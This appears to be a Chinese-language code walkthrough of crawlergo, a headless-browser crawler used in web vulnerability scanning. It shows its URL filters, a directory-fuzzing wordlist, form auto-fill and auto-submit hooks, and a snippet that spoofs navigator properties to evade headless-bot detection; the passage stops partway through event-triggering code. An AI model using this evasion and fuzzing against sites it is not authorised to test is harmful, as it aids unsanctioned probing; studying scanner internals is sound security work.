SuspectURLRegex = `(?:"|')(((?:[a-zA-Z]{1,10}://|//)[^"'/]{1,}\.[a-zA-Z]{2,}[^"']{0,})|((?:/|\.\./|\./)[^"'><,;|*()(%%$^/\\\[\]][^"'><,;|()]{1,})|([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{1,}\.(?:[a-zA-Z]{1,4}|action)(?:[\?|#][^"|']{0,}|))|([a-zA-Z0-9_\-/]{1,}/[a-zA-Z0-9_\-/]{3,}(?:[\?|#][^"|']{0,}|))|([a-zA-Z0-9_\-]{1,}\.(?:php|asp|aspx|jsp|json|action|html|js|txt|xml)(?:[\?|#][^"|']{0,}|)))(?:"|')` // url获取正则
URLRegex = `((https?|ftp|file):)?//[-A-Za-z0-9+&@#/%?=~_|!:,.;]+[-A-Za-z0-9+&@#/%=~_|]` // url获取正则
AttrURLRegex = ``
DomContentLoadedTimeout = 5 * time.Second
EventTriggerInterval = 100 * time.Millisecond // 单位毫秒
BeforeExitDelay = 1 * time.Second
DefaultEventTriggerMode = EventTriggerAsync
MaxCrawlCount = 200
)
// 请求的来源,记录了每个url的来源，可以根据这些关键词定位到相关的获取代码
const (
FromTarget = "Target" //初始输入的目标
FromNavigation = "Navigation" //页面导航请求
FromXHR = "XHR" //ajax异步请求
FromDOM = "DOM" //dom解析出来的请求
FromJSFile = "JavaScript" //JS脚本中解析
FromFuzz = "PathFuzz" //初始path fuzz
FromRobots = "robots.txt" //robots.txt
FromComment = "Comment" //页面中的注释
FromWebSocket = "WebSocket"
FromEventSource = "EventSource"
FromFetch = "Fetch"
FromHistoryAPI = "HistoryAPI"
FromOpenWindow = "OpenWindow"
FromHashChange = "HashChange"
FromStaticRes = "StaticResource"
FromStaticRegex = "StaticRegex"
)
// 静态文件后缀，这些后缀的文件全部阻断读取
var StaticSuffix = []string{
"png", "gif", "jpg", "mp4", "mp3", "mng", "pct", "bmp", "jpeg", "pst", "psp", "ttf",
"tif", "tiff", "ai", "drw", "wma", "ogg", "wav", "ra", "aac", "mid", "au", "aiff",
"dxf", "eps", "ps", "svg", "3gp", "asf", "asx", "avi", "mov", "mpg", "qt", "rm",
"wmv", "m4a", "bin", "xls", "xlsx", "ppt", "pptx", "doc", "docx", "odt", "ods", "odg",
"odp", "exe", "zip", "rar", "tar", "gz", "iso", "rss", "pdf", "txt", "dll", "ico",
"gz2", "apk", "crt", "woff", "map", "woff2", "webp", "less", "dmg", "bz2", "otf", "swf",
"flv", "mpeg", "dat", "xsl", "csv", "cab", "exif", "wps", "m4v", "rmvb",
}
// 动态文件的后缀，过滤器用于过滤伪静态用
var ScriptSuffix = []string{
"php", "asp", "jsp", "asa",
}
// 默认不爬的url关键词
var DefaultIgnoreKeywords = []string{"logout", "quit", "exit"}
// 填充表单相关，这些是模糊匹配，匹配到了则使用对应的规则
var AllowedFormName = []string{"default", "mail", "code", "phone", "username", "password", "qq", "id_card", "url", "date", "number"}
var InputTextMap = map[string]map[string]interface{}{
"mail": {
"keyword": []string{"mail"},
"value": "[email protected]",
},
"code": {
"keyword": []string{"yanzhengma", "code", "ver", "captcha"},
"value": "123a",
},
"phone": {
"keyword": []string{"phone", "number", "tel", "shouji"},
"value": "18812345678",
},
"username": {
"keyword": []string{"name", "user", "id", "login", "account"},
"value": "[email protected]",
},
"password": {
"keyword": []string{"pass", "pwd"},
"value": "Crawlergo6.",
},
"qq": {
"keyword": []string{"qq", "wechat", "tencent", "weixin"},
"value": "123456789",
},
"IDCard": {
"keyword": []string{"card", "shenfen"},
"value": "511702197409284963",
},
"url": {
"keyword": []string{"url", "site", "web", "blog", "link"},
"value": "https://crawlergo.nice.cn/",
},
"date": {
"keyword": []string{"date", "time", "year", "now"},
"value": "2018-01-01",
},
"number": {
"keyword": []string{"day", "age", "num", "count"},
"value": "10",
},
}
## URL过滤方式
crawlergo有两种过滤，fen`simple`和`smart`。
### simple
simple过滤方式比较简单，就是将计算请求体的method、url、postdata 结合计算md5
判断是否存在
### smart
smart过滤会对每个请求的参数name，参数value，path 进行标记,会标记成以下字段
const (
CustomValueMark = "{{Crawlergo}}"
FixParamRepeatMark = "{{fix_param}}"
FixPathMark = "{{fix_path}}"
TooLongMark = "{{long}}"
NumberMark = "{{number}}"
ChineseMark = "{{chinese}}"
UpperMark = "{{upper}}"
LowerMark = "{{lower}}"
UrlEncodeMark = "{{urlencode}}"
UnicodeMark = "{{unicode}}"
BoolMark = "{{bool}}"
ListMark = "{{list}}"
TimeMark = "{{time}}"
MixAlphaNumMark = "{{mix_alpha_num}}"
MixSymbolMark = "{{mix_symbol}}"
MixNumMark = "{{mix_num}}"
NoLowerAlphaMark = "{{no_lower}}"
MixStringMark = "{{mix_str}}"
)
例如
?m=home&c=index&a=index
?type=202cb962ac59075b964b07152d234b70
?id=1
?msg=%E6%B6%88%E6%81%AF
处理结果即
?m=home&c=index&a=index
?type={hash}
?id={int}
?msg={urlencode}
会对超过阈值的结果，以及计算的唯一id进行比对，来判断是否过滤，总体来说是基于url的过滤方式。
使用的正则
var chineseRegex = regexp.MustCompile("[\u4e00-\u9fa5]+")
var urlencodeRegex = regexp.MustCompile("(?:%[A-Fa-f0-9]{2,6})+")
var unicodeRegex = regexp.MustCompile(`(?:\\u\w{4})+`)
var onlyAlphaRegex = regexp.MustCompile("^[a-zA-Z]+$")
var onlyAlphaUpperRegex = regexp.MustCompile("^[A-Z]+$")
var alphaUpperRegex = regexp.MustCompile("[A-Z]+")
var alphaLowerRegex = regexp.MustCompile("[a-z]+")
var replaceNumRegex = regexp.MustCompile(`[0-9]+\.[0-9]+|\d+`)
var onlyNumberRegex = regexp.MustCompile(`^[0-9]+$`)
var numberRegex = regexp.MustCompile(`[0-9]+`)
var OneNumberRegex = regexp.MustCompile(`[0-9]`)
var numSymbolRegex = regexp.MustCompile(`\.|_|-`)
var timeSymbolRegex = regexp.MustCompile(`-|:|\s`)
var onlyAlphaNumRegex = regexp.MustCompile(`^[0-9a-zA-Z]+$`)
var markedStringRegex = regexp.MustCompile(`^{{.+}}$`)
var htmlReplaceRegex = regexp.MustCompile(`\.shtml|\.html|\.htm`)
对路径的处理
/**
标记路径
*/
func (s *SmartFilter) MarkPath(path string) string {
pathParts := strings.Split(path, "/")
for index, part := range pathParts {
if len(part) >= 32 {
pathParts[index] = TooLongMark
} else if onlyNumberRegex.MatchString(numSymbolRegex.ReplaceAllString(part, "")) {
pathParts[index] = NumberMark
} else if strings.HasSuffix(part, ".html") || strings.HasSuffix(part, ".htm") || strings.HasSuffix(part, ".shtml") {
part = htmlReplaceRegex.ReplaceAllString(part, "")
// 大写、小写、数字混合
if numberRegex.MatchString(part) && alphaUpperRegex.MatchString(part) && alphaLowerRegex.MatchString(part) {
pathParts[index] = MixAlphaNumMark
// 纯数字
} else if b := numSymbolRegex.ReplaceAllString(part, ""); onlyNumberRegex.MatchString(b) {
pathParts[index] = NumberMark
}
// 含有特殊符号
} else if s.hasSpecialSymbol(part) {
pathParts[index] = MixSymbolMark
} else if chineseRegex.MatchString(part) {
pathParts[index] = ChineseMark
} else if unicodeRegex.MatchString(part) {
pathParts[index] = UnicodeMark
} else if onlyAlphaUpperRegex.MatchString(part) {
pathParts[index] = UpperMark
// 均为数字和一些符号组成
} else if b := numSymbolRegex.ReplaceAllString(part, ""); onlyNumberRegex.MatchString(b) {
pathParts[index] = NumberMark
// 数字出现的次数超过3，视为伪静态path
} else if b := OneNumberRegex.ReplaceAllString(part, "0"); strings.Count(b, "0") > 3 {
pathParts[index] = MixNumMark
}
}
newPath := strings.Join(pathParts, "/")
return newPath
}
### 基于网页结构去重
作者原帖中的基于网页结构去重写的非常精彩 <https://www.anquanke.com/post/id/178339#h2-17>
参考的论文下载: <https://patents.google.com/patent/CN101694668B/zh>
作者的将网页特征向量抽离出来，索引存储，用来判断大量网页的相似度，非常惊艳，未来用到资产收集系统或者网络空间引擎上也都是非常不错的选择。
## URL收集
### robots
在爬虫之前，会先请求robots.txt，解析出所有链接，加入到待爬取页面。
源码中使用了一个正则来匹配
var urlFindRegex = regexp.MustCompile(`(?:Disallow|Allow):.*?(/.+)`)
看了下robots规范:<https://baike.baidu.com/item/robots%E5%8D%8F%E8%AE%AE/2483797
>，应该还可以再优化一下，来处理一些表达式。
### DIR FUZZ
在爬虫之前，如果没有指定dir字典的话，默认会使用内置的字典
['11', '123', '2017', '2018', 'message', 'mis', 'model', 'abstract', 'account', 'act', 'action', 'activity', 'ad', 'address', 'ajax', 'alarm', 'api', 'app', 'ar', 'attachment', 'auth', 'authority', 'award', 'back', 'backup', 'bak', 'base', 'bbs', 'bbs1', 'cms', 'bd', 'gallery', 'game', 'gift', 'gold', 'bg', 'bin', 'blacklist', 'blog', 'bootstrap', 'brand', 'build', 'cache', 'caches', 'caching', 'cacti', 'cake', 'captcha', 'category', 'cdn', 'ch', 'check', 'city', 'class', 'classes', 'classic', 'client', 'cluster', 'collection', 'comment', 'commit', 'common', 'commons', 'components', 'conf', 'config', 'mysite', 'confs', 'console', 'consumer', 'content', 'control', 'controllers', 'core', 'crontab', 'crud', 'css', 'daily', 'dashboard', 'data', 'database', 'db', 'default', 'demo', 'dev', 'doc', 'download', 'duty', 'es', 'eva', 'examples', 'excel', 'export', 'ext', 'fe', 'feature', 'file', 'files', 'finance', 'flashchart', 'follow', 'forum', 'frame', 'framework', 'ft', 'group', 'gss', 'hello', 'helper', 'helpers', 'history', 'home', 'hr', 'htdocs', 'html', 'hunter', 'image', 'img11', 'import', 'improve', 'inc', 'include', 'includes', 'index', 'info', 'install', 'interface', 'item', 'jobconsume', 'jobs', 'json', 'kindeditor', 'l', 'languages', 'lib', 'libraries', 'libs', 'link', 'lite', 'local', 'log', 'login', 'logs', 'mail', 'main', 'maintenance', 'manage', 'manager', 'manufacturer', 'menus', 'models', 'modules', 'monitor', 'movie', 'mysql', 'n', 'nav', 'network', 'news', 'notice', 'nw', 'oauth', 'other', 'page', 'pages', 'passport', 'pay', 'pcheck', 'people', 'person', 'php', 'phprpc', 'phptest', 'picture', 'pl', 'platform', 'pm', 'portal', 'post', 'product', 'project', 'protected', 'proxy', 'ps', 'public', 'qq', 'question', 'quote', 'redirect', 'redisclient', 'report', 'resource', 'resources', 's', 'save', 'schedule', 'schema', 'script', 'scripts', 'search', 'security', 'server', 'service', 'shell', 'show', 'simple', 'site', 'sites', 'skin', 'sms', 'soap', 'sola', 'sort', 'spider', 'sql', 'stat', 'static', 'statistics', 'stats', 'submit', 'subways', 'survey', 'sv', 'syslog', 'system', 'tag', 'task', 'tasks', 'tcpdf', 'template', 'templates', 'test', 'tests', 'ticket', 'tmp', 'token', 'tool', 'tools', 'top', 'tpl', 'txt', 'upload', 'uploadify', 'uploads', 'url', 'user', 'util', 'v1', 'v2', 'vendor', 'view', 'views', 'web', 'weixin', 'widgets', 'wm', 'wordpress', 'workspace', 'ws', 'www', 'www2', 'wwwroot', 'zone', 'admin', 'admin_bak', 'mobile', 'm', 'js']
根据状态码判断
### 爬虫时的url收集
* 解析流量中的url
* 获取xmr类型的请求
* 正则解析js、html、json中url
* 收集当前页面上的url信息
"src", "href", "data-url", "data-href"
object[data]
注释中的url
## 对浏览器环境的hook
在chrome的tab初始化时，会执行一段js代码，hook部分函数和事件来控制js的运行环境。
同时定义了一个js全局函数`addLink`、`Test`，通过这个函数可以与go进行交互。
### 调用go函数
js初始化时对这个函数重新包装
const binding = window["addLink"];
window["addLink"] = async(...args) => {
const me = window["addLink"];
let callbacks = me['callbacks'];
if (!callbacks) {
callbacks = new Map();
me['callbacks'] = callbacks;
}
const seq = (me['lastSeq'] || 0) + 1;
me['lastSeq'] = seq;
const promise = new Promise(fulfill => callbacks.set(seq, fulfill));
binding(JSON.stringify({name: "addLink", seq, args}));
return promise;
};
const bindingTest = window["Test"];
window["Test"] = async(...args) => {
const me = window["Test"];
let callbacks = me['callbacks'];
if (!callbacks) {
callbacks = new Map();
me['callbacks'] = callbacks;
}
const seq = (me['lastSeq'] || 0) + 1;
me['lastSeq'] = seq;
const promise = new Promise(fulfill => callbacks.set(seq, fulfill));
binding(JSON.stringify({name: "Test", seq, args}));
return promise;
};
go处理逻辑
执行完go函数后会再执行一段js
const DeliverResultJS = `
(function deliverResult(name, seq, result) {
window[name]['callbacks'].get(seq)(result);
window[name]['callbacks'].delete(seq);
})("%s", %v, "%s")
但是没看懂使用`promise`后回调调用的意义是什么。。
### Bypass headless detect
// Pass the Webdriver Test.
Object.defineProperty(navigator, 'webdriver', {
get: () => false,
});
// Pass the Plugins Length Test.
// Overwrite the plugins property to use a custom getter.
Object.defineProperty(navigator, 'plugins', {
// This just needs to have length > 0 for the current test,
// but we could mock the plugins too if necessary.
get: () => [1, 2, 3, 4, 5],
});
// Pass the Chrome Test.
// We can mock this in as much depth as we need for the test.
window.chrome = {
runtime: {},
};
// Pass the Permissions Test.
const originalQuery = window.navigator.permissions.query;
window.navigator.permissions.query = (parameters) => (
parameters.name === 'notifications' ?
Promise.resolve({ state: Notification.permission }) :
originalQuery(parameters)
);
//Pass the Permissions Test. navigator.userAgent
Object.defineProperty(navigator, 'userAgent', {
get: () => "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.0 Safari/537.36",
});
// 修改浏览器对象的属性
Object.defineProperty(navigator, 'platform', {
get: function () { return 'win32'; }
});
Object.defineProperty(navigator, 'language', {
get: function () { return 'zh-CN'; }
});
Object.defineProperty(navigator, 'languages', {
get: function () { return ["zh-CN", "zh"]; }
});
### 记录url以及对前端框架的适配
// history api hook 许多前端框架都采用此API进行页面路由，记录url并取消操作
window.history.pushState = function(a, b, c) {
window.addLink(c, "HistoryAPI");
}
window.history.replaceState = function(a, b, c) {
window.addLink(c, "HistoryAPI");
}
Object.defineProperty(window.history,"pushState",{"writable": false, "configurable": false});
Object.defineProperty(window.history,"replaceState",{"writable": false, "configurable": false});
// 监听hash改变 Vue等框架默认使用hash部分进行前端页面路由
window.addEventListener("hashchange", function() {
window.addLink(document.location.href, "HashChange");
});
// 监听窗口的打开和关闭，记录新窗口打开的url，并取消实际操作
// hook window.open
window.open = function (url) {
console.log("trying to open window.");
window.addLink(url, "OpenWindow");
}
Object.defineProperty(window,"open",{"writable": false, "configurable": false});
// hook window close
window.close = function() {console.log("trying to close page.");};
Object.defineProperty(window,"close",{"writable": false, "configurable": false});
// hook window.WebSocket 、window.EventSource 、 window.fetch 等函数
var oldWebSocket = window.WebSocket;
window.WebSocket = function(url, arg) {
window.addLink(url, "WebSocket");
return new oldWebSocket(url, arg);
}
var oldEventSource = window.EventSource;
window.EventSource = function(url) {
window.addLink(url, "EventSource");
return new oldEventSource(url);
}
var oldFetch = window.fetch;
window.fetch = function(url) {
window.addLink(url, "Fetch");
return oldFetch(url);
}
### hook setTimeout/SetInterval
// hook setTimeout
//window.__originalSetTimeout = window.setTimeout;
//window.setTimeout = function() {
// arguments[1] = 0;
// return window.__originalSetTimeout.apply(this, arguments);
//};
//Object.defineProperty(window,"setTimeout",{"writable": false, "configurable": false});
// hook setInterval 时间设置为60秒 目的是减轻chrome的压力
window.__originalSetInterval = window.setInterval;
window.setInterval = function() {
arguments[1] = 60000;
return window.__originalSetInterval.apply(this, arguments);
};
Object.defineProperty(window,"setInterval",{"writable": false, "configurable": false});
这个hook操作没有明白，将setInterval强制设为了60s，我想应该来个判断，大于60s时再统一设置，60s，这样爬虫效率就变得太低了。
setTimeout取消了hook，毕竟只执行一次，可能不是很重要。
### hook ajax
hook 原生ajax并限制最大请求数，可能是怕自动点击造成ajax爆炸
// 劫持原生ajax，并对每个请求设置最大请求次数
window.ajax_req_count_sec_auto = {};
XMLHttpRequest.prototype.__originalOpen = XMLHttpRequest.prototype.open;
XMLHttpRequest.prototype.open = function(method, url, async, user, password) {
// hook code
this.url = url;
this.method = method;
let name = method + url;
if (!window.ajax_req_count_sec_auto.hasOwnProperty(name)) {
window.ajax_req_count_sec_auto[name] = 1
} else {
window.ajax_req_count_sec_auto[name] += 1
}
if (window.ajax_req_count_sec_auto[name] <= 10) {
return this.__originalOpen(method, url, true, user, password);
}
}
Object.defineProperty(XMLHttpRequest.prototype,"open",{"writable": false, "configurable": false});
XMLHttpRequest.prototype.__originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function(data) {
// hook code
let name = this.method + this.url;
if (window.ajax_req_count_sec_auto[name] <= 10) {
return this.__originalSend(data);
}
}
Object.defineProperty(XMLHttpRequest.prototype,"send",{"writable": false, "configurable": false});
XMLHttpRequest.prototype.__originalAbort = XMLHttpRequest.prototype.abort;
XMLHttpRequest.prototype.abort = function() {
// hook code
}
Object.defineProperty(XMLHttpRequest.prototype,"abort",{"writable": false, "configurable": false});
### 锁定表单重置
爬虫在处理网页时，会先填充表单，接着触发事件去提交表单，但有时会意外点击到表单的重置按钮，造成内容清空，表单提交失败。所以为了防止这种情况的发生，需要Hook表单的重置并锁定不能修改。
// 锁定表单重置
HTMLFormElement.prototype.reset = function() {console.log("cancel reset form")};
Object.defineProperty(HTMLFormElement.prototype,"reset",{"writable": false, "configurable": false});
### 事件Hook
对dom0级和dom2级事件分别hook，用一个数组设定最大触发次数，所有js调用的事件，会对每个标签设置一个`sec_auto_dom2_event_flag`属性，方便后面寻找并自动触发。
// hook dom2 级事件监听
window.add_even_listener_count_sec_auto = {};
// record event func , hook addEventListener
let old_event_handle = Element.prototype.addEventListener;
Element.prototype.addEventListener = function(event_name, event_func, useCapture) {
let name = "<" + this.tagName + "> " + this.id + this.name + this.getAttribute("class") + "|" + event_name;
// console.log(name)
// 对每个事件设定最大的添加次数，防止无限触发，最大次数为5
if (!window.add_even_listener_count_sec_auto.hasOwnProperty(name)) {
window.add_even_listener_count_sec_auto[name] = 1;
} else if (window.add_even_listener_count_sec_auto[name] == 5) {
return ;
} else {
window.add_even_listener_count_sec_auto[name] += 1;
}
if (this.hasAttribute("sec_auto_dom2_event_flag")) {
let sec_auto_dom2_event_flag = this.getAttribute("sec_auto_dom2_event_flag");
this.setAttribute("sec_auto_dom2_event_flag", sec_auto_dom2_event_flag + "|" + event_name);
} else {
this.setAttribute("sec_auto_dom2_event_flag", event_name);
}
old_event_handle.apply(this, arguments);
};
function dom0_listener_hook(that, event_name) {
let name = "<" + that.tagName + "> " + that.id + that.name + that.getAttribute("class") + "|" + event_name;
// console.log(name);
// 对每个事件设定最大的添加次数，防止无限触发，最大次数为5
if (!window.add_even_listener_count_sec_auto.hasOwnProperty(name)) {
window.add_even_listener_count_sec_auto[name] = 1;
} else if (window.add_even_listener_count_sec_auto[name] == 5) {
return ;
} else {
window.add_even_listener_count_sec_auto[name] += 1;
}
if (that.hasAttribute("sec_auto_dom2_event_flag")) {
let sec_auto_dom2_event_flag = that.getAttribute("sec_auto_dom2_event_flag");
that.setAttribute("sec_auto_dom2_event_flag", sec_auto_dom2_event_flag + "|" + event_name);
} else {
that.setAttribute("sec_auto_dom2_event_flag", event_name);
}
}
// hook dom0 级事件监听
Object.defineProperties(HTMLElement.prototype, {
onclick: {set: function(newValue){onclick = newValue;dom0_listener_hook(this, "click");}},
onchange: {set: function(newValue){onchange = newValue;dom0_listener_hook(this, "change");}},
onblur: {set: function(newValue){onblur = newValue;dom0_listener_hook(this, "blur");}},
ondblclick: {set: function(newValue){ondblclick = newValue;dom0_listener_hook(this, "dbclick");}},
onfocus: {set: function(newValue){onfocus = newValue;dom0_listener_hook(this, "focus");}},
onkeydown: {set: function(newValue){onkeydown = newValue;dom0_listener_hook(this, "keydown");}},
onkeypress: {set: function(newValue){onkeypress = newValue;dom0_listener_hook(this, "keypress");}},
onkeyup: {set: function(newValue){onkeyup = newValue;dom0_listener_hook(this, "keyup");}},
onload: {set: function(newValue){onload = newValue;dom0_listener_hook(this, "load");}},
onmousedown: {set: function(newValue){onmousedown = newValue;dom0_listener_hook(this, "mousedown");}},
onmousemove: {set: function(newValue){onmousemove = newValue;dom0_listener_hook(this, "mousemove");}},
onmouseout: {set: function(newValue){onmouseout = newValue;dom0_listener_hook(this, "mouseout");}},
onmouseover: {set: function(newValue){onmouseover = newValue;dom0_listener_hook(this, "mouseover");}},
onmouseup: {set: function(newValue){onmouseup = newValue;dom0_listener_hook(this, "mouseup");}},
onreset: {set: function(newValue){onreset = newValue;dom0_listener_hook(this, "reset");}},
onresize: {set: function(newValue){onresize = newValue;dom0_listener_hook(this, "resize");}},
onselect: {set: function(newValue){onselect = newValue;dom0_listener_hook(this, "select");}},
onsubmit: {set: function(newValue){onsubmit = newValue;dom0_listener_hook(this, "submit");}},
onunload: {set: function(newValue){onunload = newValue;dom0_listener_hook(this, "unload");}},
onabort: {set: function(newValue){onabort = newValue;dom0_listener_hook(this, "abort");}},
onerror: {set: function(newValue){onerror = newValue;dom0_listener_hook(this, "error");}},
})
## 表单填充,事件触发
### 表单填充
### input处理
// 找出 type 为空 或者 type=text
for _, node := range nodes {
// 兜底超时
tCtxN, cancelN := context.WithTimeout(ctx, time.Second*5)
attrType := node.AttributeValue("type")
if attrType == "text" || attrType == "" {
inputName := node.AttributeValue("id") + node.AttributeValue("class") + node.AttributeValue("name")
value := f.GetMatchInputText(inputName)
// 寻找匹配类型的值
var nodeIds = []cdp.NodeID{node.NodeID}
// 先使用模拟输入
_ = chromedp.SendKeys(nodeIds, value, chromedp.ByNodeID).Do(tCtxN)
// 再直接赋值JS属性
_ = chromedp.SetAttributeValue(nodeIds, "value", value, chromedp.ByNodeID).Do(tCtxN)
} else if attrType == "email" || attrType == "password" || attrType == "tel" {
value := f.GetMatchInputText(attrType)
// 寻找匹配类型的值
var nodeIds = []cdp.NodeID{node.NodeID}
// 先使用模拟输入
_ = chromedp.SendKeys(nodeIds, value, chromedp.ByNodeID).Do(tCtxN)
// 再直接赋值JS属性
_ = chromedp.SetAttributeValue(nodeIds, "value", value, chromedp.ByNodeID).Do(tCtxN)
} else if attrType == "radio" || attrType == "checkbox" {
var nodeIds = []cdp.NodeID{node.NodeID}
_ = chromedp.SetAttributeValue(nodeIds, "checked", "true", chromedp.ByNodeID).Do(tCtxN)
} else if attrType == "file" || attrType == "image" {
var nodeIds = []cdp.NodeID{node.NodeID}
wd, _ := os.Getwd()
filePath := wd + "/upload/image.png"
_ = chromedp.RemoveAttribute(nodeIds, "accept", chromedp.ByNodeID).Do(tCtxN)
_ = chromedp.RemoveAttribute(nodeIds, "required", chromedp.ByNodeID).Do(tCtxN)
// 对于一些简单的限制，可以去掉，比如找到文件上传的dom节点并删除 accept 和 required 属性：
_ = chromedp.SendKeys(nodeIds, filePath, chromedp.ByNodeID).Do(tCtxN)
}
cancelN()
}
### multiSelect
css语法获取select第一个元素，设置属性即可
optionNodes, optionErr := f.tab.GetNodeIDs(`select option:first-child`)
if optionErr != nil || len(optionNodes) == 0 {
logger.Logger.Debug("fillMultiSelect: get select option element err")
if optionErr != nil {
logger.Logger.Debug(optionErr)
}
return
}
_ = chromedp.SetAttributeValue(optionNodes, "selected", "true", chromedp.ByNodeID).Do(tCtx)
_ = chromedp.SetJavascriptAttribute(optionNodes, "selected", "true", chromedp.ByNodeID).Do(tCtx)
### TextArea
找到后填充即可
textareaNodes, textareaErr := f.tab.GetNodeIDs(`textarea`)
if textareaErr != nil || len(textareaNodes) == 0 {
logger.Logger.Debug("fillTextarea: get textarea element err")
if textareaErr != nil {
logger.Logger.Debug(textareaErr)
}
return
}
_ = chromedp.SendKeys(textareaNodes, value, chromedp.ByNodeID).Do(tCtx)
### 自动化提交表单
>
> 提交表单也有一些需要注意的问题，直接点击form表单的提交按钮会导致页面重载，我们并不希望当前页面刷新，所以除了Hook住前端导航请求之外，我们还可以为form节点设置target属性，指向一个隐藏的iframe。具体操作的话就是新建隐藏iframe然后将form表单的target指向它即可
/**
设置form的target指向一个frame
*/
const NewFrameTemplate = `
(function sec_auto_new_iframe () {
let frame = document.createElement("iframe");
frame.setAttribute("name", "%s");
frame.setAttribute("id", "%s");
frame.setAttribute("style", "display: none");
document.body.appendChild(frame);
})()
`
func (tab *Tab) setFormToFrame() {
// 首先新建 frame
nameStr := tools.RandSeq(8)
tab.Evaluate(fmt.Sprintf(js.NewFrameTemplate, nameStr, nameStr))
// 接下来将所有的 form 节点target都指向它
ctx := tab.GetExecutor()
formNodes, formErr := tab.GetNodeIDs(`form`)
if formErr != nil || len(formNodes) == 0 {
logger.Logger.Debug("setFormToFrame: get form element err")
if formErr != nil {
logger.Logger.Debug(formErr)
}
return
}
tCtx, cancel := context.WithTimeout(ctx, time.Second*2)
defer cancel()
_ = chromedp.SetAttributeValue(formNodes, "target", nameStr, chromedp.ByNodeID).Do(tCtx)
}
要成功的提交表单，就得正确触发表单的submit操作。不是所有的前端内容都有规范的表单格式，或许有一些form连个button都没有，所以这里有三种思路可供尝试，保险起见建议全部都运行一次：
* 在form节点的子节点内寻找`type=submit`的节点，执行`elementHandle.click()`方法。
* 直接对form节点执行JS语句：`form.submit()`，注意，如果form内有包含属性值`name=submit`的节点，将会抛出异常，所以注意捕获异常。
* 在form节点的子节点内寻找所有button节点，全部执行一次`elementHandle.click()`方法。因为我们之前已经重定义并锁定了表单重置函数，所以不用担心会清空表单。
这样，绝大部分表单我们都能触发了。
/**
点击按钮 type=submit
*/
func (tab *Tab) clickSubmit() {
defer tab.formSubmitWG.Done()
// 首先点击按钮 type=submit
ctx := tab.GetExecutor()
// 获取所有的form节点 直接执行submit
formNodes, formErr := tab.GetNodeIDs(`form`)
if formErr != nil || len(formNodes) == 0 {
logger.Logger.Debug("clickSubmit: get form element err")
if formErr != nil {
logger.Logger.Debug(formErr)
}
return
}
tCtx1, cancel1 := context.WithTimeout(ctx, time.Second*2)
defer cancel1()
_ = chromedp.Submit(formNodes, chromedp.ByNodeID).Do(tCtx1)
// 获取所有的input标签
inputNodes, inputErr := tab.GetNodeIDs(`form input[type=submit]`)
if inputErr != nil || len(inputNodes) == 0 {
logger.Logger.Debug("clickSubmit: get form input element err")
if inputErr != nil {
logger.Logger.Debug(inputErr)
}
return
}
tCtx2, cancel2 := context.WithTimeout(ctx, time.Second*2)
defer cancel2()
_ = chromedp.Click(inputNodes, chromedp.ByNodeID).Do(tCtx2)
}
/**
click all button
*/
func (tab *Tab) clickAllButton() {
defer tab.formSubmitWG.Done()
// 获取所有的form中的button节点
ctx := tab.GetExecutor()
// 获取所有的button标签
btnNodeIDs, bErr := tab.GetNodeIDs(`form button`)
if bErr != nil || len(btnNodeIDs) == 0 {
logger.Logger.Debug("clickAllButton: get form button element err")
if bErr != nil {
logger.Logger.Debug(bErr)
}
return
}
tCtx, cancel1 := context.WithTimeout(ctx, time.Second*2)
defer cancel1()
_ = chromedp.Click(btnNodeIDs, chromedp.ByNodeID).Do(tCtx)
// 使用JS的click方法进行点击
var btnNodes []*cdp.Node
tCtx2, cancel2 := context.WithTimeout(ctx, time.Second*2)
defer cancel2()
err := chromedp.Nodes(btnNodeIDs, &btnNodes, chromedp.ByNodeID).Do(tCtx2)
if err != nil {
return
}
for _, node := range btnNodes {
_ = tab.EvaluateWithNode(js.FormNodeClickJS, node)
}
}
### 事件触发
1.对JavaScript协议的内联事件触发，执行以下js
(async function click_all_a_tag_javascript(){
let nodeListHref = document.querySelectorAll("[href]");
nodeListHref = window.randArr(nodeListHref);
for (let node of nodeListHref) {
let attrValue = node.getAttribute("href");
if (attrValue.toLocaleLowerCase().startsWith("javascript:")) {
await window.sleep(%f);
try {
eval(attrValue.substring(11));
}
catch {}
}
}
let nodeListSrc = document.querySelectorAll("[src]");
nodeListSrc = window.randArr(nodeListSrc);
for (let node of nodeListSrc) {
let attrValue = node.getAttribute("src");
if (attrValue.toLocaleLowerCase().startsWith("javascript:")) {
await window.sleep(%f);
try {
eval(attrValue.substring(11));
}
catch {}
}
}
})()
2.对常见的内联事件触发
(async function trigger_all_inline_event(){
let eventNames = ["onabort", "onblur", "onchange", "onclick", "ondblclick", "onerror", "onfocus", "onkeydown", "onkeypress", "onkeyup", "onload", "onmousedown", "onmousemove", "onmouseout", "onmouseover", "onmouseup", "onreset", "onresize", "onselect", "onsubmit", "onunload"];
for (let eventName of eventNames) {
let event = eventName.replace("on", "");
let nodeList = document.querySelectorAll("[" + eventName + "]");
if (nodeList.length > 100) {
nodeList = nodeList.slice(0, 100);
}
nodeList = window.randArr(nodeList);
for (let node of nodeList) {
await window.sleep(%f);
let evt = document.createEvent('CustomEvent');
evt.initCustomEvent(event, false, true, null);
try {
node.dispatchEvent(evt);
}
catch {}
}
}
})()
3.对之前hook的事件触发，对于某些节点，可能会存在子节点也响应的事件，为了性能考虑，可以将层数控制到三层，且对兄弟节点随机选择一个触发。简单画图说明：
(async function trigger_all_dom2_custom_event() {
function transmit_child(node, event, loop) {
let _loop = loop + 1
if (_loop > 4) {
return;
}
if (node.nodeType === 1) {
if (node.hasChildNodes) {
let index = parseInt(Math.random()*node.children.length,10);
try {
node.children[index].dispatchEvent(event);
} catch(e) {}
let max = node.children.length>5?5:node.children.length;
for (let count=0;count<max;count++) {
let index = parseInt(Math.random()*node.children.length,10);
transmit_child(node.children[index], event, _loop);
}
}
}
}
let nodes = document.querySelectorAll("[sec_auto_dom2_event_flag]");
if (nodes.length > 200) {
nodes = nodes.slice(0, 200);
}
nodes = window.randArr(nodes);
for (let node of nodes) {
let loop = 0;
await window.sleep(%f);
let event_name_list = node.getAttribute("sec_auto_dom2_event_flag").split("|");
let event_name_set = new Set(event_name_list);
event_name_list = [...event_name_set];
for (let event_name of event_name_list) {
let evt = document.createEvent('CustomEvent');
evt.initCustomEvent(event_name, true, true, null);
if (event_name == "click" || event_name == "focus" || event_name == "mouseover" || event_name == "select") {
transmit_child(node, evt, loop);
}
